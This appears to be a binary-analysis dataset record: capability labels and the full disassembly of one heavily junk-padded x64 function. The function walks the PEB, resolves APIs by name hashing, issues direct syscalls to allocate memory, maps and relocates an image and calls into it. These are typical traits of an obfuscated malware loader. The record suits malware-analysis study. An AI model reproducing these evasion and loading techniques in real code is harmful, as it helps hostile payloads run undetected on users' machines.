Function at 0x14043f073
Capabilities:
Access peb ldr_data
Encrypt data using speck
Get kernel32 base address
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
jmp 0x14043f086
push r14
push r13
push r12
push rsi
jmp 0x14043f099
push rdi
test ch, 0x45
stc
push rbp
cmc
push rbx
cmp sp, r14w
cmc
stc
sub rsp, 0x78
stc
test ah, 0x26
cmp qword [0x1400dd010], 0
jmp 0x14043f0bc
je 0x14043f10e
sub eax, eax
add r15d, 0x5d3f20d6
lea rcx, [section..GLkcmx0]
xor r15b, cl
clc
nop word cs:[rax + rax]
cmp bx, 0x20f4
lea r15, [rax + 0x10]
clc
cmc
cmp qword [rax + rcx + 0x20], 0
cmovs ax, r14w
cdqe
mov rax, r15
jmp 0x14043f103
jne 0x14043f0e8
jmp 0x14043f11d
sub r15d, r15d
sub cx, 0x126d
shrd ecx, esi, 0xd3
rcr r13b, cl
movabs r12, 0xcbf29ce484222325
jmp 0x14043f12e
movabs r13, 0x1d12a89b9e723ff5
add cx, 0x264e
bts r10d, r14d
rcl ecx, 0x51
mov rcx, qword gs:[0x30]
btr r10, rax
movzx r10d, r15w
rcr r10b, cl
mov rcx, qword [rcx + 0x60]
mov r10, qword [rcx + 0x18]
sbb r8b, r14b
neg r8
add r10, 0x10
not r8d
movsx r8, r15w
movzx r8, r9w
movabs r8, 0x2cc10c8855a9a8cd
jmp 0x14043f192
cmp rbx, r8
jmp 0x14043f18c
je 0x14043f283
mov r10, qword [r10]
mov r9, qword [r10 + 0x30]
stc
test r9, r9
jmp 0x14043f1a2
je 0x14043f52f
mov r11, qword [r10 + 0x60]
mov dil, 0xcc
test rbp, r12
mov rdi, 0xffffffffffffffff
cmp word [r11 + rdi*2 + 2], 0
jmp 0x14043f1c5
lea rdi, [rdi + 1]
jmp 0x14043f1ce
jne 0x14043f1b9
mov rbx, r12
stc
cmc
jmp 0x14043f1de
test rdi, rdi
jmp 0x14043f1e6
je 0x14043f184
sub ecx, ecx
rol bl, 8
xor sil, cl
mov rdx, r12
nop word [rax + rax]
ror bp, 0xdc
movzx ebx, word [r11 + rcx*2]
lea ebp, [rbx - 0x41]
movzx esi, r9w
test rbx, 0x257f6129
jmp 0x14043f219
lea esi, [rbx - 0x410]
btr ax, dx
lea eax, [rbx + 0x20]
clc
cmp si, 0x20
jmp 0x14043f230
cmovb ebx, eax
test ebp, esp
cmp r11b, dil
test r10w, 0x7dab
cmp bp, 0x1a
cmovb ebx, eax
clc
movzx ebx, bx
cmc
cmp r11b, 0xef
jmp 0x14043f253
xor rbx, rdx
imul rbx, r13
cwd
inc ecx
movsx dx, r10b
shld rdx, r13, 0x83
mov rdx, rbx
cmp r13, 0x36357ea3
test r8b, al
cmp rcx, rdi
jb 0x14043f201
jmp 0x14043f184
test r10, r10
je 0x14043f52f
movsxd rax, dword [r9 + 0x3c]
movzx ecx, si
mov eax, dword [r9 + rax + 0x88]
shld rdx, rax, 0xa8
sal ecx, cl
lea rcx, [r9 + rax]
btc edx, esi
cmp r13w, 0x65a4
cmovp dx, di
test rax, rax
setle dl
cmove rcx, rax
bswap dx
mov qword [rsp + 0x38], rcx
movsx dx, r13b
mov edx, dword [rcx + 0x18]
test edx, edx
jmp 0x14043f2d4
je 0x14043f52f
mov rax, qword [rsp + 0x38]
btr cx, 7
test sp, 0x626a
movsx r8w, cl
mov ecx, dword [rax + 0x20]
bsr r8d, r11d
add rcx, r9
mov qword [rsp + 0x40], rcx
shl r10d, cl
setae r10b
ror r8b, 0x84
mov r10d, dword [rax + 0x24]
ror r8w, cl
bts r8w, bp
lea r10, [r10 + r9]
and r8b, r13b
mov r8b, bpl
mov r8d, dword [rax + 0x1c]
lea r8, [r8 + r9]
cmc
xor edi, edi
jmp 0x14043f32f
jmp 0x14043f369
mov edx, dword [rsp + 0x20]
movzx rax, si
cmovne rax, rdi
inc ah
inc rdi
test r13, rbp
btc ax, r14w
mov ax, di
mov eax, edx
cmp bpl, 0xff
jmp 0x14043f35b
cmp rdi, rax
jmp 0x14043f363
jae 0x14043f52f
movzx ecx, word [r10 + rdi*2]
mov ebx, dword [r8 + rcx*4]
cmp dword [r9 + rbx], 0xb8d18b4c
jmp 0x14043f37f
jne 0x14043f342
mov dword [rsp + 0x20], edx
btr bp, 0xed
mov rax, qword [rsp + 0x40]
sbb bpl, 0xb2
mov esi, dword [rax + rdi*4]
sbb rbp, 0x6ba62ad1
movzx ebp, sp
add rsi, r9
bt ebp, ebx
btc rbp, 0xe7
mov rbp, 0xffffffffffffffff
test r8w, dx
cmp r14b, r12b
clc
nop dword [rax + rax]
clc
jmp 0x14043f3c9
cmp byte [rsi + rbp + 1], 0
jmp 0x14043f3d3
lea rbp, [rbp + 1]
jmp 0x14043f3dc
jne 0x14043f3c9
mov rcx, r12
test rbp, rbp
jmp 0x14043f3ed
je 0x14043f49e
sub r14d, r14d
not cx
shrd rdx, rsp, 0x30
sar rcx, 0xe8
mov r11, r12
cwde
rcr ax, 0x15
bt rax, rbx
nop dword [rax]
bts eax, r10d
rcr ax, cl
movzx ecx, byte [rsi + r14]
shld eax, r9d, 0xe0
sub dx, 0x4987
not ah
lea edx, [rcx - 0x41]
sbb ah, 0x74
add al, r14b
cmp si, r14w
lea eax, [rcx + 0x20]
cmp dl, 0x1a
jmp 0x14043f445
movzx eax, al
jmp 0x14043f44d
cmovae eax, ecx
dec ecx
movzx rcx, sp
movsx rcx, al
test bpl, r10b
xor rcx, r11
sbb r11, 0x3dc32871
shrd r11w, r8w, 0xa5
imul rcx, r13
movsx r11, ax
inc r11b
jmp 0x14043f47d
inc r14d
or r11b, 0xa6
bswap r11d
add r11, r12
mov r11, rcx
cmp sp, di
cmp r14, rbp
jmp 0x14043f498
jb 0x14043f41c
mov rsi, qword [0x1400dd010]
cmp r11b, 0x62
test rsi, rsi
jmp 0x14043f4b1
je 0x14043f334
lea rbp, [0x1400dd020]
stc
test ebx, 0x3a5e3016
nop word cs:[rax + rax]
cmp bpl, 0x8c
cmp rsi, rcx
jmp 0x14043f4e0
je 0x14043f504
mov rsi, qword [rbp]
add rbp, 0x10
test eax, r15d
test rsi, rsi
jmp 0x14043f4f9
jne 0x14043f4d8
jmp 0x14043f334
mov eax, dword [rbx + r9 + 4]
movzx dx, dil
movsx edx, si
mov dh, 0xca
mov dword [rbp - 8], eax
cqo
mov al, 0x6b
mov rax, qword [rsp + 0x38]
mov dl, 0x3c
mov edx, dword [rax + 0x18]
jmp 0x14043f52a
jmp 0x14043f342
test r15, r15
je 0x14043f5c6
sub ebp, ebp
lea rbx, [section..GLkcmx0]
mov rcx, r12
nop dword [rax]
sal dh, 8
movzx rdx, r8w
movzx edx, byte [rbp + rbx + 0x10]
cmc
test cl, bpl
xor rcx, rdx
cmp sil, 0xc6
imul rcx, r13
jmp 0x14043f567
inc ebp
cmp r13w, 0x12f9
cmp r14b, r15b
cmp rbp, r15
jmp 0x14043f57a
jb 0x14043f54e
movabs rdx, 0xe9203a08b69f42e8
stc
test ax, 0x380c
add rcx, rdx
bsr rdx, rdi
sal dl, 0x4b
movabs rdx, 0x52aea00e8a0b3911
xor rdx, rcx
movzx rcx, ax
movabs rcx, 0xee16cad6b000daab
jmp 0x14043f5b9
add rcx, rdx
jmp 0x14043f5c1
jmp 0x14043f5d0
movabs rcx, 0xd5d341ba60cb39c7
rol rcx, 0x16
cmp r13b, 4
movabs rax, 0x957b6a83b7a0090f
test ax, 0xa75
xor rax, rcx
movsx rcx, r8w
bt rcx, 0xfd
test dx, dx
movabs rcx, 0xec0e237d69308474
stc
jmp 0x14043f605
add rcx, rax
cmc
test ecx, edx
mov qword [0x1400b7208], rcx
test dh, 0x1c
test spl, r15b
cmp qword [0x1400de010], 0
jmp 0x14043f625
je 0x14043f669
sub ecx, ecx
bts rax, rdi
cbw
lea rdx, [section..VWkZsz1]
rcr al, 0
or ah, 0xe4
nop
movzx rax, r8w
rol ah, cl
lea rax, [rcx + 0x10]
jmp 0x14043f651
cmp qword [rcx + rdx + 0x20], 0
mov cx, 0x3222
mov rcx, rax
jne 0x14043f648
jmp 0x14043f673
xor eax, eax
test ax, 0x6034
cmp r9b, 0x40
mov qword [rsp + 0x60], rax
cmc
xor ecx, ecx
jmp 0x14043f697
mov rcx, qword [rsp + 0x30]
inc rcx
cmp rcx, 8
jmp 0x14043f691
je 0x14043fa72
lea rax, [0x1400bfdf0]
cmp r9w, r8w
or r10w, bp
mov qword [rsp + 0x30], rcx
xor r10w, 0x7e40
sal r8b, cl
rcr r8b, cl
mov r8, qword [rax + rcx*8]
clc
mov rax, qword gs:[0x30]
bt r10w, r13w
movzx r10, bx
rcl r10b, cl
mov rax, qword [rax + 0x60]
btr r10d, edx
setae r10b
mov r10, qword [rax + 0x18]
add r10, 0x10
jmp 0x14043f6ea
jmp 0x14043f6fd
cmp rdx, r8
jmp 0x14043f6f7
je 0x14043f7f8
mov r10, qword [r10]
btc r11, rbp
test r9b, 0x18
sar r11b, 0x30
mov r11, qword [r10 + 0x30]
cmc
test r11, r11
jmp 0x14043f719
je 0x14043f680
mov r14, qword [r10 + 0x60]
movsx rbx, r14w
sal bl, 0xb3
jmp 0x14043f72f
mov rbx, 0xffffffffffffffff
cmp sil, 0x9a
nop dword [rax]
test di, r8w
cmp r15b, 0x5e
cmp word [r14 + rbx*2 + 2], 0
jmp 0x14043f752
lea rbx, [rbx + 1]
jmp 0x14043f75b
jne 0x14043f746
mov rdx, r12
cmp ebx, r15d
stc
test rbx, rbx
jmp 0x14043f770
je 0x14043f6ef
xor ecx, ecx
movsxd rax, r10d
mov rdi, r12
cmp r9b, 0x4d
nop word [rax + rax]
rol rsi, 0xc4
rcr bp, cl
lahf
movzx eax, word [r14 + rcx*2]
lea edx, [rax - 0x41]
lea esi, [rax - 0x410]
test r11, rbx
lea ebp, [rax + 0x20]
cmc
cmp si, 0x20
cmovb eax, ebp
cmc
cmp r11b, r11b
cmp dx, 0x1a
cmovb eax, ebp
shl dl, cl
movzx edx, ax
xor rdx, rdi
sal dil, cl
imul rdx, r13
movsx di, r8b
movzx di, dl
movsxd rdi, ebp
inc ecx
movzx edi, bx
xchg di, di
mov rdi, rdx
test r13b, 8
cmp r12b, 0xd6
cmp rcx, rbx
jmp 0x14043f7ed
jb 0x14043f790
jmp 0x14043f6ef
test r10, r10
jmp 0x14043f800
je 0x14043f680
movzx eax, word [r11]
jmp 0x14043f80f
cmp eax, 0x5a4d
jmp 0x14043f819
jne 0x14043f854
movsxd rax, dword [r11 + 0x3c]
lea rcx, [r11 + rax]
cmp eax, 0x56621250
cmp dword [r11 + rax], 0x4550
cmove r9, r11
movzx eax, r14w
mov rax, qword [rsp + 0x58]
jmp 0x14043f846
cmove rax, rcx
jmp 0x14043f84f
jmp 0x14043f859
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x58], rax
rcr bpl, 0x27
dec bp
shld rcx, r15, 0xf8
mov ecx, dword [rax + 0x88]
bsf bp, cx
sal bpl, 0x46
or bpl, 0x10
lea rax, [r9 + rcx]
test rcx, rcx
xchg bp, bp
cmove rax, rcx
shr bpl, cl
mov ebp, dword [rax + 0x18]
cmc
cmp r9b, dl
test ebp, ebp
je 0x14043f680
mov r14d, dword [rax + 0x20]
add r14, r11
cmc
stc
shl cl, cl
mov ecx, dword [rax + 0x24]
test r8b, 0x9f
clc
add rcx, r11
test rax, rbx
mov qword [rsp + 0x40], rcx
jmp 0x14043f8bf
mov qword [rsp + 0x20], rax
clc
test si, r11w
mov eax, dword [rax + 0x1c]
clc
stc
lea rax, [rax + r11]
mov qword [rsp + 0x38], rax
test r8b, bpl
xor esi, esi
jmp 0x14043f8e1
jmp 0x14043f943
mov rax, qword [rsp + 0x40]
movzx eax, word [rax + rsi*2]
ror dx, cl
sar bpl, cl
sbb bpl, 0x17
mov rdx, qword [rsp + 0x38]
sar bpl, 4
mov eax, dword [rdx + rax*4]
xadd bpl, bpl
inc ebp
add rax, r11
mov qword [rcx - 8], rax
movzx ax, spl
movsx rax, r9w
xchg bpl, bpl
mov rax, qword [rsp + 0x20]
cmovae rbp, r11
mov ebp, dword [rax + 0x18]
cwde
inc rsi
cmc
mov eax, ebp
test dil, 0x15
cmp rsi, rax
jmp 0x14043f93d
jae 0x14043f680
mov r8d, dword [r14 + rsi*4]
btr bx, r14w
lea r8, [r8 + r11]
movsx bx, bl
clc
adc bx, sp
mov rbx, 0xffffffffffffffff
stc
nop dword [rax]
cmp dl, 0x6f
jmp 0x14043f96d
cmp byte [r8 + rbx + 1], 0
jmp 0x14043f978
lea rbx, [rbx + 1]
jne 0x14043f96d
mov r10, r12
test r11d, r13d
test rbx, rbx
jmp 0x14043f990
je 0x14043fa1e
xor ecx, ecx
mov r15, r12
add r10d, ecx
nop dword [rax]
shl al, cl
movzx edi, byte [r8 + rcx]
movsx rdx, r10w
cmp sil, 0xed
and dx, 0x631c
lea eax, [rdi - 0x41]
bswap r10w
sal edx, cl
lea edx, [rdi + 0x20]
add r10b, 0x60
movsx r10, r8w
adc r10b, cl
cmp al, 0x1a
cdqe
movzx eax, dl
movzx r10, r10w
mov r10b, 0x38
xchg r10w, r10w
cmovae eax, edi
movzx r10w, r10b
movsx r10, al
jmp 0x14043f9f4
xor r10, r15
imul r10, r13
inc ecx
ror r15d, cl
mov r15, r10
test r8b, cl
cmp r11b, r15b
cmp r15d, 0x60070098
cmp rcx, rbx
jmp 0x14043fa18
jb 0x14043f9a7
mov rbx, qword [0x1400de010]
test rbx, rbx
je 0x14043f92b
lea rcx, [0x1400de020]
nop dword [rax + rax]
cmp dil, r10b
test r9b, cl
cmp rbx, r10
jmp 0x14043fa48
je 0x14043f8e6
mov rbx, qword [rcx]
jmp 0x14043fa56
add rcx, 0x10
test di, 0xb9d
test rbx, rbx
jmp 0x14043fa67
jne 0x14043fa40
jmp 0x14043f92b
mov rax, qword [rsp + 0x60]
test r10b, sil
cmp ah, al
test rax, rax
jmp 0x14043fa84
je 0x14043faeb
sub ecx, ecx
bts edx, esi
cwd
lea rbp, [section..VWkZsz1]
bts dx, bp
nop dword [rax]
sub dx, bx
xadd dx, dx
movzx edx, byte [rcx + rbp + 0x10]
test r8b, dil
clc
cmp r9b, 0xf0
xor rdx, r12
bsr r12w, r13w
imul rdx, r13
setns r12b
movsx r12w, dl
mov r12b, r8b
inc ecx
and r12b, 0xf
sal r12b, 0x39
mov r12, rdx
cmp rcx, rax
jmp 0x14043fae0
jb 0x14043faa6
jmp 0x14043faee
mov rdx, r12
rol rdx, 0xb
and ch, 0x3a
sub ax, di
mov eax, 0x6eb5134
movabs rax, 0xdf7ad2359957b5f4
add ch, 0x44
dec cx
bts cx, r15w
add rax, rdx
btc ecx, ecx
bswap cx
rol rax, 0x16
movabs rcx, 0x4934245b3ce013cf
test r9b, sil
xor rcx, rax
btc eax, eax
shl al, cl
test r9, r14
movabs rax, 0x5b5c0083c64fa867
cmp r15b, r13b
test rax, r15
add rax, rcx
bts rcx, r11
bt cx, r9w
rol rax, 0xc
sal ch, 0x4a
or cl, r13b
bsr cx, r15w
movabs rcx, 0xdd5421de87040723
jmp 0x14043fb71
add rcx, rax
bt ax, 0xca
rol rcx, 0x25
rcr ax, 0xa4
add ax, 0x509b
mov qword [0x1400b7210], rcx
movzx ecx, ax
mov eax, dword [0x7ffe0014]
mov dword [0x1400b8eb8], eax
movzx ecx, word [0x140000000]
cmp di, r10w
stc
cmp ecx, 0x5a4d
jmp 0x14043fbb3
jne 0x14043fbf9
movsxd rcx, dword [0x14000003c]
btr rdx, rdx
movzx dx, r11b
stc
lea rdx, [0x140000000]
cmp rax, 0xcc52a34
stc
cmp dword [rcx + rdx], 0x4550
jne 0x14043fbf9
lea rbx, [rcx + rdx]
rcl r9w, cl
lea r14, [rcx + rdx]
add r14, 0x108
imul eax, eax, 0x41c64e6d
bswap r12
sal r9b, 0x4f
shl r10b, 0x89
add eax, 0x3039
imul ecx, eax, 0x41c64e6d
shr eax, 0x10
bsr r9, r10
lea edx, [rax + rax*2]
xor bpl, 0xaa
bt r13, 0xe4
bswap r10d
shr edx, 0x10
xor ebp, 0x14405fe5
bt r12d, r8d
xchg bpl, bpl
mov ebp, eax
cmp r15d, ebp
bt r13w, 0x32
movzx r13d, r14w
sub ebp, edx
xor r10, rdx
movzx ebp, bp
test rbp, r9
shr ebp, 1
add ebp, edx
cmp r15d, ebx
rcr dh, 0x26
xor r13, 0x1f850fed
movzx r13d, bp
sar r10w, cl
shr r13d, 0xe
mov r9w, 0x2028
bt r10w, 0x58
cwd
add r13d, eax
xor eax, edx
and r13d, 0x3fff
btc r10d, esp
movsx r10d, r10w
add r13d, 0xfff
movsx edx, r12w
and r13d, 0x7000
movzx ax, dh
cdq
add ecx, 0x3039
cmc
mov dword [0x1400b8eb8], ecx
sub r9b, r12b
not ah
shr ecx, 0x10
cbw
add r10b, 0x13
sar r12d, cl
lea eax, [rcx + rcx*2]
shr eax, 0x10
adc r10b, 0x9c
rcr r12b, cl
xchg r9, rdx
mov edx, ecx
add r9, 0x75384b8f
bsf r12w, r13w
rcl r12d, cl
sub edx, eax
adc r12w, r11w
xor r12b, 0x5f
bts r10d, r10d
movzx edx, dx
ror r12w, cl
shl r10b, 0xc7
shr edx, 1
xadd r12w, r12w
add edx, eax
or al, r11b
cmc
rol r10w, 0x97
movzx r12d, dx
shr r12d, 0xe
bsr ax, r9w
add r12d, ecx
and r10b, bl
shl al, 0x16
and r12d, 0x3fff
mov cl, r9b
add r12d, 0xfff
and r12d, 0x7000
cdq
not cl
mov qword [rsp + 0x28], 0
dec dh
mov qword [rsp + 0x20], rbx
mov ecx, dword [rbx + 0x50]
sub dl, r14b
movzx dx, sil
mov eax, 0x137364be
add rcx, r12
cmp r8b, spl
sbb dx, ax
rol dh, 0x88
lea rcx, [rcx + r13]
movsx edx, cx
movsxd rax, r10d
ror ah, 0x8e
mov qword [rsp + 0x48], rcx
bswap ax
mov eax, dword [0x1400dd078]
cdq
lea rdx, [rsp + 0x28]
movsxd r10, eax
lea r9, [rsp + 0x48]
rcl r10w, 0xd2
shr r10w, cl
jmp 0x14043fda8
mov r10, 0xffffffffffffffff
stc
xor r8d, r8d
sub rsp, 0x40
jmp 0x14043fdbc
mov qword [rsp + 0x28], 0x3000
jmp 0x14043fdca
mov qword [rsp + 0x30], 4
jmp 0x14043fdd8
syscall
add rsp, 0x40
mov rcx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x48]
cmp r15d, r9d
cmp eax, 0x34e3336f
sub edx, edx
jmp 0x14043fdf7
call fcn.1404a0a6a
mov r15, qword [rsp + 0x28]
test r13d, r13d
je 0x140440061
mov rcx, r13
shr rcx, 3
jmp 0x14043fe16
cmp rcx, 2
mov rdi, rbp
movzx bx, r10b
movzx eax, r8w
mov r8d, 1
cmovae r8, rcx
sbb rbx, 0x507f2d0a
movsx rdx, r11w
shl ah, 0x33
xor r9d, r9d
sub dl, r9b
nop word cs:[rax + rax]
test r9b, 0x23
imul edx, dword [0x1400b8eb8], 0x41c64e6d
sal di, 0xde
movsx rbx, bp
add edx, 0x3039
imul edi, edx, 0x41c64e6d
shr bpl, cl
xor sil, 0x92
bt rbx, 0x3f
mov ebp, edx
shr ebp, 0x10
rol ax, cl
lea edx, [rbp + rbp*2]
bswap esi
shr edx, 0x10
mov eax, ebp
shr rsi, cl
bts si, r11w
clc
sub eax, edx
rol bx, 0x1a
movzx eax, ax
add bl, 0xf9
jmp 0x14043fea9
shr eax, 1
add eax, edx
jmp 0x14043feb2
add edi, 0x3039
adc rbx, 0x3d581517
movzx bx, r13b
movzx edx, ax
sal ah, 0x5b
cdqe
mov eax, edi
shr eax, 0x10
xchg cl, ch
cmp ax, dx
lea ebx, [rax + rax*2]
cmp r10w, 0x572e
add esi, 0x71037b3a
bsf si, ax
shr edx, 0xe
movsx si, sil
shr ebx, 0x10
cmp dx, cx
cmovns cx, r15w
rol sil, cl
mov esi, eax
xadd cx, cx
sub esi, ebx
sbb ch, 0xad
bsr rcx, r12
mov ecx, edx
stc
movzx esi, si
test r10b, 0xfd
shr esi, 1
cmp rdi, r14
add esi, ebx
ror bl, 0xc9
dec bh
shr bl, 0x15
shl ecx, 0xf
movzx ebx, si
add sil, bl
shr ebx, 0xe
not si
rol rsi, cl
rcr rsi, cl
mov esi, ebx
cmp sp, sp
stc
cmp r15b, 0xb1
sub edx, ecx
shl esi, 0xf
shl cx, cl
sub ebx, esi
xor cx, 0x4a60
shl cl, 0xc5
add ebx, eax
btr cx, 0x6c
add edx, ebp
adc cx, r10w
xor ebp, ebp
rcr ax, 8
bt ax, 0xca
shrd rcx, r11, 0x83
cmp bx, 0x10
mov al, 0x4d
setb bpl
inc ah
btr ax, 0x5c
ror ah, 0xe
imul eax, edi, 0x41c64e6d
mov ch, dl
add eax, 0x3039
or bh, 0x4c
imul ecx, eax, 0x41c64e6d
movzx bx, ah
bsf bx, r15w
shr eax, 0x10
rol rdi, 0xde
movsxd rdi, ecx
cmp cx, bx
lea ebx, [rax + rax*2]
shr ebx, 0x10
mov edi, eax
test r9, r11
clc
stc
sub edi, ebx
clc
jmp 0x14043ffca
movzx edi, di
cmp di, di
shr edi, 1
add edi, ebx
sar ebx, 0x56
cmovs bx, r8w
movzx edx, dx
or bl, r14b
btc bx, 0x7b
movsx bx, dl
movzx ebx, di
btc rdi, r10
bswap di
cmp esi, esp
shr ebx, 0xe
not dil
sal dil, 0xbc
mov edi, ebx
or rbp, rdx
cmp r9w, si
shl edi, 0xf
test r10b, dil
clc
sub ebx, edi
add ebx, eax
clc
test edx, r11d
add ecx, 0x3039
xor eax, eax
cmc
sub al, spl
cmp bx, 0x20
setb al
cmc
cmp bl, 0x1b
stc
mov dword [0x1400b8eb8], ecx
clc
cmp bpl, 0xa9
cmp spl, bpl
or rax, rbp
jmp 0x140440047
mov qword [r15 + r9*8], rax
inc r9
cmp r8, r9
jmp 0x140440056
jne 0x14043fe52
mov r15, qword [rsp + 0x28]
test r12, r12
jmp 0x140440069
je 0x1404402b0
sub r15, r12
sbb rdi, 0x33e76123
sub r8, r13
add r15, qword [rsp + 0x48]
shl di, cl
mov rbx, r13
shr r12, 3
cqo
mov dil, bl
cmp r12, 2
rdtsc
movzx r8d, r11w
mov r8d, 1
jmp 0x1404400a5
cmovae r8, r12
clc
shl dil, cl
xor r9d, r9d
sbb rbx, rax
nop
shrd di, dx, 0xd3
xor dil, r13b
imul edx, dword [0x1400b8eb8], 0x41c64e6d
add bl, 0x5c
add edx, 0x3039
cmp r9b, r11b
cmp r14b, 0x82
shr ebx, cl
imul edi, edx, 0x41c64e6d
mov ebp, edx
shr ebp, 0x10
cmc
sub bl, bpl
lea edx, [rbp + rbp*2]
shr edx, 0x10
sbb si, bp
mov ebx, ebp
cbw
sub ebx, edx
sar si, cl
ror al, 0x22
movsx ax, r10b
movzx ebx, bx
shr ebx, 1
add ebx, edx
bswap rax
add edi, 0x3039
movzx edx, bx
mov ebx, edi
shld rax, rsi, 0xe8
shr ebx, 0x10
lahf
lea esi, [rbx + rbx*2]
shr al, 0xbe
bsf cx, bp
lahf
shr edx, 0xe
mov cx, 0x50b0
jmp 0x140440138
shr esi, 0x10
mov eax, ebx
bts rcx, rbp
stc
sub eax, esi
test cl, 0xcd
sub ch, 0x25
mov ecx, edx
movzx eax, ax
cmp r8, rsp
jmp 0x14044015a
shr eax, 1
test sil, 3
add eax, esi
shl ecx, 0xf
bt si, ax
not sil
movzx eax, ax
movsx esi, r15w
bsr esi, edx
movzx rsi, bp
shr eax, 0xe
rcr sil, 0x5e
cmova rsi, rbp
mov esi, eax
jmp 0x140440193
sub edx, ecx
sets ch
or ch, 0x73
shl esi, 0xf
sub eax, esi
rcr cl, 0xe9
sbb ch, 0x6b
add eax, ebx
bts bx, r15w
sal ch, cl
add edx, ebp
xor ebp, ebp
cmp ax, 0x10
setb bpl
and bx, si
imul eax, edi, 0x41c64e6d
neg dil
sub bh, 0x16
shr cl, cl
add eax, 0x3039
rcr edi, 0x56
imul ecx, eax, 0x41c64e6d
movzx di, r8b
movsxd rbx, r15d
not rdi
shr eax, 0x10
lea ebx, [rax + rax*2]
btc edi, 0x34
adc dil, 0xf3
dec dil
shr ebx, 0x10
cmp r14d, 0x59f37307
cmp r8d, edi
rcr dil, cl
mov edi, eax
cmp sil, 0x31
sub edi, ebx
movzx edi, di
jmp 0x140440216
shr edi, 1
jmp 0x140440221
add edi, ebx
rcr ebx, 0x6b
or bl, r8b
movzx edx, dx
btr bx, 0xa2
bsr bx, r9w
movzx ebx, di
shr ebx, 0xe
ror dil, 0xfe
setge dil
movsxd rdi, r15d
mov edi, ebx
cmc
or rbp, rdx
test edx, 0x62ca2d90
jmp 0x140440258
shl edi, 0xf
cmc
sub ebx, edi
add ebx, eax
test ebx, edi
add ecx, 0x3039
test r12w, r8w
cmc
jmp 0x140440272
sub eax, eax
jmp 0x140440279
cmp bx, 0x20
xchg al, al
setb al
test r11b, 0x9c
mov dword [0x1400b8eb8], ecx
or rax, rbp
mov qword [r15 + r9*8], rax
jmp 0x140440298
inc r9
clc
test r9b, 0x7e
cmp r8, r9
jne 0x1404400bd
mov r15, qword [rsp + 0x28]
dec eax
mov rax, qword [rsp + 0x20]
cmp edi, 0x4e39794e
stc
add r15, r13
jmp 0x1404402c4
movzx eax, word [rax + 6]
jmp 0x1404402cd
test rax, rax
je 0x1404403e3
shl rax, 3
jmp 0x1404402e6
lea rbp, [rax + rax*4]
xor edi, edi
movsx bx, r9b
movsxd rax, ebp
rcl ch, 0xa8
mov ebx, 4
inc cx
lea rsi, [rsp + 0x70]
lea r12, [rsp + 0x68]
movzx ecx, si
lea r13, [rsp + 0x54]
cdqe
nop dword [rax + rax]
movsx r8, r11w
inc r8w
bswap dx
mov edx, dword [r14 + rdi + 0xc]
lea rcx, [r15 + rdx]
mov qword [rsp + 0x70], rcx
xor ah, 0x9a
sal al, cl
lea rax, [0x140000000]
add rdx, rax
bswap r8w
mov r8b, r10b
mov r8d, dword [r14 + rdi + 8]
jmp 0x140440351
call fcn.14049ffae
mov eax, dword [r14 + rdi + 8]
mov qword [rsp + 0x68], rax
add r8b, 0x52
mov dword [rsp + 0x54], 0
bts rdx, rcx
clc
test dword [r14 + rdi + 0x24], 0x20000000
mov r9d, 0x40
cmove r9d, ebx
adc dx, cx
mov eax, dword [0x1400dd088]
cqo
bt dx, 0xb4
mov r10, 0xffffffffffffffff
mov rdx, rsi
movsx r8w, spl
sar r8b, cl
btc r8d, r13d
mov r8, r12
test r13b, 0x31
test r9b, dl
sub rsp, 0x30
jmp 0x1404403bd
mov qword [rsp + 0x28], r13
jmp 0x1404403c7
syscall
add rsp, 0x30
add rdi, 0x28
cmp spl, 0x56
clc
cmp ebp, edi
jmp 0x1404403dd
jne 0x140440323
lea rdx, [0x140000000]
bts esi, edx
shr sil, 0x92
mov rax, r15
mov esi, r9d
rcr ch, 0x5c
sub rax, rdx
rcr ecx, cl
not ch
mov rsi, qword [rsp + 0x20]
mov ecx, dword [rsi + 0xb0]
cmc
add rcx, rdx
jmp 0x140440415
je 0x1404404f7
mov r8d, 1
jmp 0x140440426
jmp 0x140440437
mov ebx, dword [rcx + 4]
add rcx, rbx
je 0x1404404f7
cmp dword [rcx], 0
jmp 0x14044043f
je 0x1404404f7
mov ebx, dword [rcx + 4]
test rbx, rbx
jmp 0x140440450
je 0x1404404f7
lea rbp, [rbx - 8]
cmp rbp, 2
jmp 0x140440463
jb 0x14044042e
shr rbp, 1
cmp rbp, 2
jmp 0x140440475
cmovb rbp, r8
stc
sub ebx, ebx
jmp 0x140440481
jmp 0x1404404ba
and edi, 0xfff
ror rdx, cl
bswap edx
mov edx, dword [rcx]
cmp bpl, 0x79
jmp 0x14044049c
lea rdi, [rdi + r15]
add qword [rdx + rdi], rax
jmp 0x1404404a9
inc rbx
cmp rbp, rbx
jmp 0x1404404b4
je 0x14044042b
movzx edi, word [rcx + rbx*2 + 8]
cmp edi, 0x1000
jmp 0x1404404ca
jb 0x1404404a9
mov edx, edi
shr edx, 0xc
cmc
cmp edx, 0xa
jmp 0x1404404de
je 0x140440486
cmp edx, 3
jmp 0x1404404ec
je 0x140440486
jmp 0x1404404a9
mov ecx, dword [rsi + 0xd0]
jmp 0x140440502
movq xmm0, rax
pshufd xmm0, xmm0, 0x44
movdqu xmm1, xmmword [r15 + rcx]
jmp 0x140440517
movdqu xmm2, xmmword [r15 + rcx + 0x10]
jmp 0x140440523
paddq xmm1, xmm0
movdqu xmmword [r15 + rcx], xmm1
jmp 0x140440532
paddq xmm2, xmm0
movdqu xmmword [r15 + rcx + 0x10], xmm2
movzx ecx, si
rcl cx, 0xe9
sar dl, cl
lea rdx, [0x14005d630]
shld cx, r8w, 0xe7
add rdx, rax
movzx cx, dh
lea rcx, [0x140000000]
call rdx
nop
and bpl, r13b
test dx, 0x5e13
add rsp, 0x78
xchg rbp, r12
mov r12b, r11b
movzx rbp, r9w
pop rbx
xchg r13w, bp
not r13w
pop rbp
pop rdi
movsx r12d, bp
bswap si
pop rsi
movzx r12w, dil
pop r12
jmp 0x140440599
pop r13
pop r14
jmp 0x1404405a2
pop r15
jmp 0x1404405a9
ret